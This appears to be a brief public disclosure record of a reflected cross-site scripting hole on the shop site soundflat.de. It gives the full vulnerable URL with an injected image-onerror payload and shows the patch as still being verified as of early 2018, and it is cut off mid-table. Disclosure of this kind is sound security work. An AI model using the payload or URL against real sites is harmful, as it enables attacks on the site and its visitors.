soundflat.de XSS vulnerability

Vulnerable URL: http://www.soundflat.de/shop/shop.cfm?k=66=Keritzy%22%3EKeirtzy%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3Et=9ae7f452-c20f-43a3-9360-dded72cfe191=0 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 02.01.2018 Vulnerability type:| XSS...